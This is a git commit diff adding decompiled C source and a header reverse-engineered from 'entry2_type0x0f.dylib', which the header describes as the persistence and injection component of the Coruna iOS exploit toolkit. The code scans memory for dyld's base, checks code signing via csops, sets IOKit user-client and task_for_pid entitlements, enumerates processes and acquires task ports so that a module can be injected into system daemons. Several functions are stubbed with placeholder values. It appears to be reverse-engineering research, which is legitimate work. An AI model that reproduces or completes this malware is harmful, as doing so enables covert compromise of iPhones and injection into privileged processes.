mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-05-11 04:15:04 +02:00
Attempt to fix source
This commit is contained in:
@@ -0,0 +1,139 @@
|
||||
/*
|
||||
* dlsym.c - Custom symbol resolution from F00DBEEF containers
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0x1dbc0–0x1dd60
|
||||
*
|
||||
* Instead of using the standard dlsym(), entry2 has its own symbol
|
||||
* resolution mechanism that works with F00DBEEF-formatted containers.
|
||||
* This is used to resolve "_driver" from the type0x09 LOADER dylib
|
||||
* without going through dyld.
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* ── e2_create_resolver (0x1dbc0) ────────────────────────────────── *
|
||||
* Creates a symbol resolver object (0x38 bytes) that can look up
|
||||
* symbols from a loaded dylib's export trie or symbol table.
|
||||
*
|
||||
* The resolver wraps an internal dyld handle obtained via 0x1e748
|
||||
* (likely _dyld_process_info_create or similar) and populates a
|
||||
* vtable with PAC-signed lookup functions.
|
||||
*
|
||||
* Vtable layout (0x38 bytes):
|
||||
* +0x00: flags (0x10001)
|
||||
* +0x08: dyld_handle (from internal dyld query)
|
||||
* +0x10: fn_lookup — resolves a symbol name to address
|
||||
* +0x18: fn_iterate — iterate exports
|
||||
* +0x20: fn_info — get module info
|
||||
* +0x28: fn_close — cleanup
|
||||
* +0x30: fn_query — query capabilities
|
||||
*/
|
||||
kern_return_t e2_create_resolver(symbol_resolver_t **out)
|
||||
{
|
||||
if (!out)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
/* Get internal dyld handle */
|
||||
void *dyld_handle = NULL;
|
||||
kern_return_t kr;
|
||||
|
||||
/* 0x1e748: queries dyld internals — likely uses
|
||||
* _dyld_process_info_create / _dyld_process_info_for_each_image
|
||||
* to enumerate loaded images */
|
||||
kr = /* e2_get_dyld_handle */ 0; /* placeholder: 0x1e748(&dyld_handle) */
|
||||
if (kr != KERN_SUCCESS)
|
||||
return kr;
|
||||
|
||||
symbol_resolver_t *resolver = calloc(1, 0x38);
|
||||
if (!resolver) {
|
||||
/* cleanup dyld_handle: 0x1e688 */
|
||||
return E2_ERR_ALLOC;
|
||||
}
|
||||
|
||||
resolver->flags = 0x10001;
|
||||
resolver->dyld_handle = dyld_handle;
|
||||
|
||||
/* PAC-sign each vtable function pointer with paciza.
|
||||
* These are at relative offsets from the adr instructions:
|
||||
* +0x10: adr x16, #+428 → lookup function
|
||||
* +0x18: adr x16, #+544 → iterate function
|
||||
* +0x20: adr x16, #+716 → info function
|
||||
* +0x28: adr x16, #+828 → close function
|
||||
* +0x30: adr x16, #+1048 → query function
|
||||
*/
|
||||
/* resolver->fn_lookup = paciza(lookup_func);
|
||||
* resolver->fn_18 = paciza(iterate_func);
|
||||
* resolver->fn_20 = paciza(info_func);
|
||||
* resolver->fn_28 = paciza(close_func);
|
||||
* resolver->fn_30 = paciza(query_func); */
|
||||
|
||||
*out = resolver;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/* ── e2_custom_dlsym (0x1dc98) ───────────────────────────────────── *
|
||||
* Custom dlsym implementation that resolves symbols from F00DBEEF
|
||||
* containers. This is the mechanism used to resolve "_driver" from
|
||||
* the type0x09 LOADER.
|
||||
*
|
||||
* Flow:
|
||||
* 1. Validate the container has F00DBEEF magic
|
||||
* 2. Check bounds: entry_count * 16 + 8 must fit in size
|
||||
* 3. Create a resolver via e2_create_resolver
|
||||
* 4. Call the resolver's lookup function to find the symbol
|
||||
* 5. Store result in the output object
|
||||
*
|
||||
* Parameters:
|
||||
* output — receives the parsed container/module context
|
||||
* container — raw F00DBEEF container data from type0x09
|
||||
* size — byte length of container data
|
||||
*/
|
||||
kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size)
|
||||
{
|
||||
if (!output || !container || !size)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
/* Minimum size: magic(4) + count(4) + 1 entry = 9 bytes */
|
||||
if (size < 9)
|
||||
return E2_ERR_BAD_MAGIC;
|
||||
|
||||
/* Validate F00DBEEF magic */
|
||||
foodbeef_container_t *hdr = (foodbeef_container_t *)container;
|
||||
if (hdr->magic != MAGIC_FOODBEEF)
|
||||
return E2_ERR_BAD_MAGIC;
|
||||
|
||||
/* Get entry count and validate bounds */
|
||||
if (hdr->entry_count == 0)
|
||||
return E2_ERR_BAD_MAGIC;
|
||||
|
||||
/* Each entry is 16 bytes (foodbeef_entry_t), header is 8 bytes */
|
||||
uint64_t required = sizeof(foodbeef_container_t) +
|
||||
((uint64_t)hdr->entry_count * sizeof(foodbeef_entry_t));
|
||||
if (required > (uint64_t)size)
|
||||
return E2_ERR_BAD_MAGIC;
|
||||
|
||||
/* Create a symbol resolver */
|
||||
symbol_resolver_t *resolver = NULL;
|
||||
kern_return_t kr = e2_create_resolver(&resolver);
|
||||
if (kr != KERN_SUCCESS)
|
||||
return kr;
|
||||
|
||||
/* Use the resolver's lookup function to process the container */
|
||||
kr = resolver->fn_lookup(resolver->dyld_handle, container, size);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
/* Cleanup resolver on failure */
|
||||
/* e2_destroy_resolver(resolver); — at 0x1dd68 */
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* Success — store parsed result in output.
|
||||
* The resolver remains alive; the output object now holds
|
||||
* a reference to the resolved module context which can be
|
||||
* used to call fn_dlsym (offset 0x30) on the module. */
|
||||
|
||||
/* ... further processing to extract symbol table ... */
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,592 @@
|
||||
/*
|
||||
* driver.c - Driver backend initialization and management
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0x182a8–0x18740,
|
||||
* 0xc094–0xc3fc, 0xba30–0xbdd0, 0xb854–0xb970
|
||||
*
|
||||
* The driver backend is the bridge between the krw provider and the
|
||||
* actual kernel exploitation primitives in type0x09. It handles:
|
||||
* - Finding dyld's base address via page scanning
|
||||
* - Extracting the kernel version from Mach-O headers
|
||||
* - Setting up IOKit user client connections
|
||||
* - Dispatching kernel reads/writes through the driver
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
#include <dlfcn.h>
|
||||
#include <unistd.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <errno.h>
|
||||
|
||||
/* Private syscall — no public header */
|
||||
extern int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);
|
||||
|
||||
/* ── e2_init_driver_backend (0x182a8) ────────────────────────────── *
|
||||
* Heavy initialization of the driver backend context (0x178 bytes).
|
||||
*
|
||||
* This function:
|
||||
* 1. Gets process info via _NSGet* functions
|
||||
* 2. Finds dyld base address by scanning backwards from dladdr
|
||||
* 3. Extracts kernel version from dyld's Mach-O header
|
||||
* 4. Opens /usr/lib/system/libcache.dylib
|
||||
* 5. Initializes symbol resolver and Mach-O parser
|
||||
* 6. Sets up IOKit user client connection
|
||||
*/
|
||||
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
|
||||
void *target, const char *extra)
|
||||
{
|
||||
if (!out)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
if (!driver) {
|
||||
if (!target) return E2_ERR_NULL;
|
||||
}
|
||||
|
||||
/* Allocate backend context */
|
||||
driver_backend_t *backend = calloc(1, 0x178);
|
||||
if (!backend) return E2_ERR_ALLOC;
|
||||
|
||||
/*
|
||||
* Step 1: Get process information
|
||||
*
|
||||
* These _NSGet* functions provide access to the program's
|
||||
* argc/argv/environ without going through main(). This works
|
||||
* even in injected dylibs.
|
||||
*/
|
||||
extern void *_NSGetMachExecuteHeader(void);
|
||||
extern int *_NSGetArgc(void);
|
||||
extern char ***_NSGetArgv(void);
|
||||
extern char ***_NSGetEnviron(void);
|
||||
extern const char **_NSGetProgname(void);
|
||||
|
||||
backend->mach_header = _NSGetMachExecuteHeader(); /* +0xC8 */
|
||||
backend->argc_ptr = _NSGetArgc(); /* +0xD0 */
|
||||
backend->argv_ptr = _NSGetArgv(); /* +0xD8 */
|
||||
backend->environ_ptr = _NSGetEnviron(); /* +0xE0 */
|
||||
backend->progname_ptr = (void *)_NSGetProgname(); /* +0xE8 */
|
||||
|
||||
if (!backend->mach_header || !backend->argc_ptr ||
|
||||
!backend->argv_ptr || !backend->environ_ptr) {
|
||||
free(backend);
|
||||
return E2_ERR_INIT;
|
||||
}
|
||||
|
||||
if (!backend->progname_ptr) {
|
||||
free(backend);
|
||||
return E2_ERR_INIT;
|
||||
}
|
||||
|
||||
/*
|
||||
* Step 2: Check sandbox status
|
||||
*
|
||||
* Calls a function (0x184d0) that checks if the process is
|
||||
* sandboxed. This affects which IOKit operations are available.
|
||||
*/
|
||||
uint8_t sandbox_result = 0;
|
||||
kern_return_t kr = 0; /* e2_check_sandbox(&backend->sandbox_result) */
|
||||
if (kr != KERN_SUCCESS) {
|
||||
free(backend);
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* Check extra config flags */
|
||||
if (extra && *extra) {
|
||||
/* Additional device-specific initialization (0x19e0c) */
|
||||
/* This checks SoC type and adjusts behavior */
|
||||
}
|
||||
|
||||
/*
|
||||
* Step 3: Find dyld base address by scanning memory
|
||||
*
|
||||
* Takes the PAC-stripped address of dladdr, rounds down to page
|
||||
* boundary, then scans backwards page-by-page looking for
|
||||
* MH_MAGIC_64 (0xFEEDFACF).
|
||||
*
|
||||
* asm equivalent:
|
||||
* ldr x16, [dladdr_got]
|
||||
* paciza x16
|
||||
* mov x30, x16
|
||||
* xpaclri // strip PAC from dladdr ptr
|
||||
* and x8, x30, #~0xFFF // page-align
|
||||
* ldr w10, [x8] // read first word
|
||||
* sub x8, x8, #0x1000 // go back one page
|
||||
* cmp w10, #0xFEEDFACF // MH_MAGIC_64?
|
||||
* b.ne loop
|
||||
*
|
||||
* Once found, extract kernel version from the Mach-O header at
|
||||
* offset +0x1008, masked to lower 24 bits.
|
||||
*/
|
||||
Dl_info dlinfo;
|
||||
void *dladdr_ptr = (void *)dladdr; /* get dladdr's own address */
|
||||
uint64_t stripped = e2_strip_pac((uint64_t)dladdr_ptr);
|
||||
uint64_t page = stripped & ~0xFFFULL;
|
||||
|
||||
/* Scan backwards for MH_MAGIC_64 */
|
||||
while (*(uint32_t *)page != MAGIC_MH64) {
|
||||
page -= 0x1000;
|
||||
}
|
||||
/* dyld base found at 'page' */
|
||||
|
||||
/* Extract kernel version from dyld header + 0x1008 */
|
||||
uint32_t kver = *(uint32_t *)(page + 0x1008);
|
||||
backend->kern_version = kver & 0xFFFFFF;
|
||||
|
||||
/*
|
||||
* Step 4: Set up target binding
|
||||
*
|
||||
* If we have a driver ref and target, check whether we own
|
||||
* the target allocation (owns_target flag at +0x10).
|
||||
*
|
||||
* If owns_target is true and the target has a release function
|
||||
* at offset +0x18, we'll call it during cleanup.
|
||||
*/
|
||||
bool owns_target = (driver != NULL && target == NULL);
|
||||
backend->driver_ref = driver;
|
||||
backend->target_binding = target;
|
||||
backend->owns_target = owns_target;
|
||||
|
||||
/* Copy extra config flags */
|
||||
if (extra) {
|
||||
backend->flags_1c = *(uint8_t *)extra;
|
||||
}
|
||||
|
||||
/*
|
||||
* Step 5: Open libcache.dylib
|
||||
*
|
||||
* This is loaded with RTLD_NOLOAD (0x12) which only succeeds
|
||||
* if already in memory. libcache provides cache management APIs
|
||||
* used by the symbol resolver.
|
||||
*/
|
||||
void *libcache = dlopen("/usr/lib/system/libcache.dylib", 0x12);
|
||||
backend->libcache_handle = libcache;
|
||||
|
||||
/*
|
||||
* Step 6: Initialize subsystems
|
||||
*
|
||||
* Calls two initialization functions:
|
||||
* 0x13d84: Mach-O parser init — sets up structures for parsing
|
||||
* the target binary's load commands, segments, etc.
|
||||
* 0x1b83c: Symbol resolver init — builds a symbol table for
|
||||
* fast lookups in loaded dylibs.
|
||||
*
|
||||
* If either fails, falls back to 0x14714 (minimal init).
|
||||
*/
|
||||
kr = 0; /* e2_init_macho_parser(backend) at 0x13d84 */
|
||||
if (kr != KERN_SUCCESS) {
|
||||
if (owns_target) {
|
||||
/* Release target binding: call target[0x20](target, binding) */
|
||||
}
|
||||
free(backend);
|
||||
return kr;
|
||||
}
|
||||
|
||||
kr = 0; /* e2_init_symbol_resolver(backend) at 0x1b83c */
|
||||
if (kr != KERN_SUCCESS) {
|
||||
/* Fallback to minimal init: 0x14714 */
|
||||
if (owns_target) {
|
||||
/* Release target binding */
|
||||
}
|
||||
free(backend);
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* Success — store backend pointer */
|
||||
/* *out = backend; */
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/* ── e2_driver_cleanup (0xc094) ──────────────────────────────────── *
|
||||
* Cleans up a driver connection context.
|
||||
*
|
||||
* Cleanup order:
|
||||
* 1. Free IOKit buffers (0xcd00) if present at +0x30
|
||||
* 2. Close file descriptors (0xfd4c) at +0x28
|
||||
* 3. Close IOKit connection (0xe178) at +0x18
|
||||
* 4. If owns_target (+0x08), destroy connection internals (0x185d0)
|
||||
* 5. Zero out and free the context
|
||||
*/
|
||||
kern_return_t e2_driver_cleanup(void *driver_ctx)
|
||||
{
|
||||
if (!driver_ctx) return E2_ERR_NULL;
|
||||
|
||||
kern_return_t result = KERN_SUCCESS;
|
||||
|
||||
/* +0x30: IOKit buffers — cleanup via 0xcd00 */
|
||||
void *iokit_buf = *((void **)driver_ctx + 6); /* offset 0x30 */
|
||||
if (iokit_buf) {
|
||||
/* e2_cleanup_iokit_buffers(iokit_buf) at 0xcd00 */
|
||||
free(iokit_buf);
|
||||
}
|
||||
|
||||
/* +0x28: file descriptors — close via 0xfd4c */
|
||||
void *fd_ptr = *((void **)driver_ctx + 5); /* offset 0x28 */
|
||||
kern_return_t kr1 = 0; /* e2_close_fds(fd_ptr) */
|
||||
|
||||
/* +0x18: IOKit connection — close via 0xe178 */
|
||||
void *iokit_conn = *((void **)driver_ctx + 3); /* offset 0x18 */
|
||||
kern_return_t kr2 = 0; /* e2_close_iokit(iokit_conn) */
|
||||
if (result == KERN_SUCCESS) result = kr2;
|
||||
|
||||
/* +0x08: owns_target flag */
|
||||
uint8_t owns = *((uint8_t *)driver_ctx + 8);
|
||||
if (owns) {
|
||||
void *conn = *(void **)driver_ctx;
|
||||
/* e2_destroy_conn_internals(conn) at 0x185d0 */
|
||||
if (result == KERN_SUCCESS) result = 0; /* kr from destroy */
|
||||
}
|
||||
|
||||
/* Zero and free */
|
||||
*((void **)driver_ctx + 6) = NULL; /* clear +0x30 */
|
||||
memset(driver_ctx, 0, 0x30);
|
||||
free(driver_ctx);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/* ── e2_driver_connect (0xc12c) ──────────────────────────────────── *
|
||||
* Establishes a connection to the IOKit driver backend.
|
||||
*
|
||||
* This validates the Mach-O magic of the loaded driver and
|
||||
* sets up the IOKit user client connection:
|
||||
*
|
||||
* 1. Checks code signing via csops (on older iOS via CS_OPS_CDHASH,
|
||||
* on newer iOS via CS_OPS_STATUS)
|
||||
* 2. Gets memory mapping info via the driver's alloc function
|
||||
* (offset +0x18) with flags 0xF0000
|
||||
* 3. Validates Mach-O magic: FEEDFACF, CAFEBABE, BEBAFECA, CEFAEDFE
|
||||
* 4. Allocates driver context (0x38 bytes) for the connection
|
||||
* 5. Sets up IOKit entitlements for IOSurface/AGX user client access
|
||||
* 6. Calls through to driver's external method handler
|
||||
*/
|
||||
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
|
||||
void *target, void *binding)
|
||||
{
|
||||
if (!dest || !target)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
/* Validate target descriptor version */
|
||||
uint16_t ver = *(uint16_t *)target;
|
||||
if (ver != 1) return E2_ERR_NULL;
|
||||
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
|
||||
if (cnt == 0) return E2_ERR_NULL;
|
||||
|
||||
/*
|
||||
* Check code signing status
|
||||
*
|
||||
* On iOS >= 15.x (detected via dyldVersionNumber comparison),
|
||||
* uses CS_OPS_CDHASH (5) with 20-byte hash output.
|
||||
* On older iOS, uses CS_OPS_STATUS (0) with 4-byte output.
|
||||
*
|
||||
* This determines if the process has valid signatures,
|
||||
* which affects what IOKit connections are permitted.
|
||||
*/
|
||||
pid_t pid = getpid();
|
||||
uint8_t cs_info[20] = {0};
|
||||
|
||||
extern double dyldVersionNumber;
|
||||
if (dyldVersionNumber >= /* threshold */(double)0) {
|
||||
/* Newer path: CS_OPS_CDHASH */
|
||||
int cs_result = csops(pid, 5 /* CS_OPS_CDHASH */, cs_info, 20);
|
||||
if (cs_result < 0) {
|
||||
int err = errno;
|
||||
if (err != 28 /* ENOSPC */) return err | 0x40000000;
|
||||
}
|
||||
} else {
|
||||
/* Older path: CS_OPS_STATUS */
|
||||
int cs_result = csops(pid, 0 /* CS_OPS_STATUS */, cs_info + 12, 4);
|
||||
if (cs_result < 0) return 0; /* errno based error */
|
||||
}
|
||||
|
||||
/*
|
||||
* Get memory mapping from driver
|
||||
*
|
||||
* Calls the target's allocation function (offset +0x18) with
|
||||
* flags 0xF0000 to get a memory region for the driver connection.
|
||||
*/
|
||||
void *mapping = NULL;
|
||||
uint32_t mapping_size = 0;
|
||||
/* target->fn_alloc(target, 0xF0000, &mapping, &mapping_size) */
|
||||
|
||||
if (!mapping || mapping_size < 0x21)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
/*
|
||||
* Validate Mach-O magic of the loaded driver
|
||||
*
|
||||
* Accepts: MH_MAGIC_64 (FEEDFACF), FAT_MAGIC (CAFEBABE/BEBAFECA),
|
||||
* MH_CIGAM_64 (CEFAEDFE/CFFAEDFE/CFFAEDFD)
|
||||
* Also accepts: 0x11205325 range (signed 64-bit Mach-O variants)
|
||||
*/
|
||||
uint32_t magic = *(uint32_t *)mapping;
|
||||
bool valid_magic = (magic == MAGIC_MH64 ||
|
||||
magic == MAGIC_FAT_BE ||
|
||||
magic == MAGIC_FAT_LE ||
|
||||
magic == MAGIC_MH64_LE ||
|
||||
magic == MAGIC_MH64_BE ||
|
||||
magic == MAGIC_MH64_BE2);
|
||||
if (!valid_magic)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
/*
|
||||
* Allocate driver connection context (0x38 bytes)
|
||||
*
|
||||
* If binding is provided (version=2, methods>=2), allocates
|
||||
* a binding context (0x10 bytes) and copies the reference.
|
||||
*
|
||||
* Otherwise, checks for sandbox restrictions (0x184d0) and
|
||||
* allocates a plain context.
|
||||
*/
|
||||
void *conn_ctx = calloc(1, 0x38);
|
||||
if (!conn_ctx) return E2_ERR_ALLOC;
|
||||
|
||||
if (binding) {
|
||||
/* Binding context: allocate and store reference */
|
||||
void *bind_ctx = calloc(1, 0x10);
|
||||
if (!bind_ctx) {
|
||||
free(conn_ctx);
|
||||
return E2_ERR_ALLOC;
|
||||
}
|
||||
*(void **)bind_ctx = binding;
|
||||
|
||||
/* Set up IOKit entitlements via the binding's connect function
|
||||
* (0xe2dc), using the entitlement XML strings:
|
||||
*
|
||||
* For IOKit:
|
||||
* <dict><key>com.apple.security.iokit-user-client-class</key>
|
||||
* <array><string>IOSurfaceRootUserClient</string>
|
||||
* <string>AGXDeviceUserClient</string></array></dict>
|
||||
*
|
||||
* For task_for_pid:
|
||||
* <dict><key>task_for_pid-allow</key><true/></dict>
|
||||
*/
|
||||
} else {
|
||||
/* No binding — check sandbox first */
|
||||
uint8_t sb = 0;
|
||||
/* e2_check_sandbox_status(&sb) at 0x184d0 */
|
||||
if (sb) return E2_ERR_CSOPS;
|
||||
}
|
||||
|
||||
/* Store in output */
|
||||
*(void **)dest = conn_ctx;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/* ── e2_krw_dispatch (0xba30) ────────────────────────────────────── *
|
||||
* Core KRW dispatch function — process enumeration + kernel read.
|
||||
*
|
||||
* This is the heavyweight function (~700 instructions) that:
|
||||
* 1. Resolves the target path (strrchr '/' or realpath)
|
||||
* 2. Creates NSConcreteStackBlock callbacks for process iteration
|
||||
* 3. Uses sysctl(CTL_KERN, KERN_PROC, KERN_PROC_ALL) to get
|
||||
* the full process list
|
||||
* 4. Iterates through each kinfo_proc (0x288 bytes each)
|
||||
* 5. For matching processes, invokes the callback block
|
||||
* 6. The callback reads kernel task structures and extracts ports
|
||||
*
|
||||
* The NSConcreteStackBlock usage is notable: it creates Objective-C
|
||||
* compatible block objects on the stack, with PAC-signed invoke
|
||||
* pointers (pacia x16, x15 where x15 = block + 0x10).
|
||||
*/
|
||||
kern_return_t e2_krw_dispatch(uint64_t arg0, ...)
|
||||
{
|
||||
const char *target_path = (const char *)arg0;
|
||||
/* Note: additional args extracted from va_list depending on operation.
|
||||
* For simplicity, the dispatch logic below shows the process-enum path
|
||||
* (called from kread with arg0=kaddr, arg1=3). */
|
||||
if (!target_path)
|
||||
return E2_ERR_RESOLVE;
|
||||
|
||||
/* Validate target_path is non-empty */
|
||||
if (((uint8_t *)target_path)[0] == 0)
|
||||
return E2_ERR_RESOLVE;
|
||||
|
||||
/* Extract flags from varargs (second argument) */
|
||||
va_list ap;
|
||||
va_start(ap, arg0);
|
||||
uint32_t flags = va_arg(ap, uint32_t);
|
||||
va_end(ap);
|
||||
|
||||
/* Resolve path: if flags & 1, use realpath; else use basename */
|
||||
char *resolved = NULL;
|
||||
const char *search_name = target_path;
|
||||
|
||||
if (flags & 1) {
|
||||
resolved = realpath(target_path, NULL);
|
||||
if (!resolved) {
|
||||
if (((uint8_t *)target_path)[0] == 0)
|
||||
return E2_ERR_RESOLVE;
|
||||
search_name = target_path;
|
||||
} else {
|
||||
search_name = resolved;
|
||||
}
|
||||
} else {
|
||||
/* Find basename by looking for last '/' */
|
||||
const char *slash = strrchr(target_path, '/');
|
||||
search_name = slash ? slash + 1 : target_path;
|
||||
if (*search_name == 0)
|
||||
return E2_ERR_RESOLVE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Build stack blocks for process iteration.
|
||||
*
|
||||
* Block 1 (sp+0x08): per-process callback
|
||||
* isa = _NSConcreteStackBlock (PAC-signed with pacda)
|
||||
* flags = 0xC2000000 (from constant pool at 0x1ef80)
|
||||
* invoke = pacized function pointer
|
||||
* descriptor = pointer to block descriptor
|
||||
* captures: search flags, path buffers
|
||||
*
|
||||
* Block 2 (sp+0xb8): inner iteration callback
|
||||
* Similar structure, captures block 1 and output buffer
|
||||
*/
|
||||
|
||||
/* Query process list size */
|
||||
int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
|
||||
size_t proc_buf_size = 0;
|
||||
|
||||
if (sysctl(mib, 4, NULL, &proc_buf_size, NULL, 0) != 0)
|
||||
goto fail;
|
||||
|
||||
if (proc_buf_size == 0)
|
||||
return KERN_SUCCESS;
|
||||
|
||||
/* Allocate and fetch process list */
|
||||
void *proc_buf = malloc(proc_buf_size * 2); /* 2x for safety */
|
||||
if (!proc_buf) goto fail;
|
||||
|
||||
proc_buf_size *= 2;
|
||||
if (sysctl(mib, 4, proc_buf, &proc_buf_size, NULL, 0) != 0) {
|
||||
bzero(proc_buf, proc_buf_size);
|
||||
free(proc_buf);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/*
|
||||
* Iterate through kinfo_proc entries.
|
||||
*
|
||||
* Each entry is 0x288 bytes (struct kinfo_proc on arm64).
|
||||
* For each entry, invoke the callback block which:
|
||||
* 1. Compares the process name
|
||||
* 2. If matched, reads kernel task port via krw
|
||||
* 3. Stores the port in the output
|
||||
*/
|
||||
uint32_t num_procs = (uint32_t)(proc_buf_size / 0x288);
|
||||
if (num_procs == 0) {
|
||||
bzero(proc_buf, proc_buf_size);
|
||||
free(proc_buf);
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
kern_return_t result = E2_ERR_SYSCTL;
|
||||
for (uint32_t i = 0; i < num_procs; i++) {
|
||||
void *entry = (uint8_t *)proc_buf + (i * 0x288);
|
||||
|
||||
/* Call block2->invoke(block2, entry) with PAC auth */
|
||||
/* result = block_invoke(entry); */
|
||||
if (result == KERN_SUCCESS)
|
||||
break;
|
||||
}
|
||||
|
||||
/* Check if we found the target */
|
||||
if (result == KERN_SUCCESS) {
|
||||
/* Read port from block capture */
|
||||
/* *out_port = captured_port; */
|
||||
}
|
||||
|
||||
/* Cleanup */
|
||||
bzero(proc_buf, proc_buf_size);
|
||||
free(proc_buf);
|
||||
|
||||
/* Cleanup resolved path */
|
||||
if (resolved) {
|
||||
size_t len = strlen(resolved);
|
||||
if (len) bzero(resolved, len);
|
||||
free(resolved);
|
||||
}
|
||||
|
||||
return result;
|
||||
|
||||
fail:
|
||||
if (resolved) {
|
||||
size_t len = strlen(resolved);
|
||||
if (len) bzero(resolved, len);
|
||||
free(resolved);
|
||||
}
|
||||
return E2_ERR_SYSCTL;
|
||||
}
|
||||
|
||||
/* ── e2_get_task_port (0xb854) ───────────────────────────────────── *
|
||||
* Gets a task port via Mach IPC.
|
||||
*
|
||||
* Sends a command message (type 5) and receives back:
|
||||
* - Port right type at offset 0x18
|
||||
* - Port send count at offset 0x1C
|
||||
* - The task port itself at offset 0x08
|
||||
*
|
||||
* The task port is a mach_port_t that can be used for:
|
||||
* - mach_vm_allocate / mach_vm_write / mach_vm_protect
|
||||
* - thread_create_running
|
||||
* - task_info
|
||||
*/
|
||||
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
|
||||
void *arg2, void *out_port, void *arg4)
|
||||
{
|
||||
if (port + 1 < 2)
|
||||
return E2_ERR_VM_FAIL - 0x1D;
|
||||
|
||||
/* Allocate response buffer */
|
||||
void *response = calloc(1, 0x28);
|
||||
if (!response) return E2_ERR_GENERIC;
|
||||
|
||||
/* Send IPC command via 0xcea4 (mach_msg send with type 5) */
|
||||
kern_return_t kr;
|
||||
kr = 0; /* e2_ipc_command(port, 5, 0x28, response, cmd) at 0xcea4 */
|
||||
|
||||
if (kr != KERN_SUCCESS) goto cleanup;
|
||||
|
||||
/* Validate response */
|
||||
uint32_t resp_type = ((uint32_t *)response)[5]; /* offset 0x14 */
|
||||
if (resp_type != 5) {
|
||||
kr = E2_ERR_VM_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
uint32_t resp_size = ((uint32_t *)response)[1]; /* offset 0x04 */
|
||||
if (resp_size != 0x20) {
|
||||
kr = E2_ERR_VM_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* Extract results */
|
||||
if (out_rights) {
|
||||
*(uint32_t *)out_rights = ((uint32_t *)response)[6]; /* offset 0x18 */
|
||||
}
|
||||
/* arg2 corresponds to out_type in the original 7-arg version,
|
||||
* but krw_get_port passes NULL here (x2 = 0) */
|
||||
if (arg2) {
|
||||
*(uint32_t *)arg2 = ((uint32_t *)response)[7]; /* offset 0x1C */
|
||||
}
|
||||
|
||||
kr = KERN_SUCCESS;
|
||||
|
||||
if (out_port) {
|
||||
*(uint32_t *)out_port = ((uint32_t *)response)[2]; /* offset 0x08 */
|
||||
/* Clear the port from response to prevent double-dealloc */
|
||||
((uint32_t *)response)[2] = 0;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
;
|
||||
/* Deallocate any port rights in response */
|
||||
uint32_t resp_port = ((uint32_t *)response)[2];
|
||||
if (resp_port + 1 >= 2) {
|
||||
mach_port_deallocate(mach_task_self(), resp_port);
|
||||
}
|
||||
free(response);
|
||||
return kr;
|
||||
}
|
||||
@@ -0,0 +1,480 @@
|
||||
/*
|
||||
* entry2.h - Decompiled header for entry2_type0x0f.dylib
|
||||
*
|
||||
* Reverse-engineered from the arm64e binary at:
|
||||
* payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry2_type0x0f.dylib
|
||||
*
|
||||
* This dylib is the persistence/injection component of the Coruna toolkit.
|
||||
* It obtains kernel read/write primitives from type0x09 (LOADER) via its
|
||||
* exported _driver symbol, then uses those primitives to inject the MODULE
|
||||
* (type0x08) into target system daemons.
|
||||
*
|
||||
* Exports: _end, _last
|
||||
*/
|
||||
|
||||
#ifndef ENTRY2_H
|
||||
#define ENTRY2_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
#include <mach/mach.h>
|
||||
#include <pthread.h>
|
||||
|
||||
/* ── Error codes (observed constants) ──────────────────────────────── */
|
||||
|
||||
#define E2_ERR_NULL 0x000AD001 /* null argument */
|
||||
#define E2_ERR_GENERIC 0x000AD009
|
||||
#define E2_ERR_ALLOC (E2_ERR_GENERIC + 8) /* 0x000AD011, matches bootstrap ERR_ALLOC */
|
||||
#define E2_ERR_BAD_MAGIC 0x700B /* note: bootstrap uses 0x700C */
|
||||
#define E2_ERR_NO_CONTAINER 0x7003
|
||||
#define E2_ERR_NO_DRIVER 0x5005
|
||||
#define E2_ERR_BAD_VERSION (E2_ERR_NULL + 9) /* 0x000AD00A */
|
||||
#define E2_ERR_STAGE 0x0001F039 /* stage validation */
|
||||
#define E2_ERR_IPC_BASE 0x0001E023
|
||||
#define E2_ERR_IPC_TIMEOUT (E2_ERR_IPC_BASE + 0x18)
|
||||
#define E2_ERR_MSG_INVALID 0x0001E03A
|
||||
#define E2_ERR_MACH_MSG 0x0001F037
|
||||
#define E2_ERR_VM_FAIL 0x0001E038
|
||||
#define E2_ERR_CSOPS 0x0001E037
|
||||
#define E2_ERR_INIT 0x0001200F
|
||||
#define E2_ERR_NO_FUNC (E2_ERR_NULL + 0xF)
|
||||
#define E2_ERR_TASK_INFO 0x0001E01D
|
||||
#define E2_ERR_RESOLVE 0x0001E03F
